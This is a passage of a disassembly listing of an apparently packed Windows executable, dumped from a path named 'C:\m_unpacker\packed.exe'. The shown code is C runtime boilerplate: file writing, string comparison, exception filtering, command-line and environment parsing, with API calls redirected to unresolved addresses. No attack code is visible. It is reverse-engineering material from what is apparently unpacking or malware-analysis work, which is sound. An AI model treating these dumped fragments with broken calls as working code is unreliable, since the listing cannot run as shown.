XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2740000h nop test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j nop call near ptr 26B0669h mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2740000h test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j call near ptr 26B0669h nop mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi call near ptr 2660000h nop test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2720000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2720000h test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2861078h mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] call near ptr 2640000h nop loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2690000h nop mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj call near ptr 2630C01h nop mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi call near ptr 2630E99h nop mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 nop call near ptr 2630C01h mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi nop call near ptr 2630ED1h mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax nop call near ptr 28B0000h cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax nop call near ptr 2630000h test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: ___:00423C56j push eax nop call near ptr 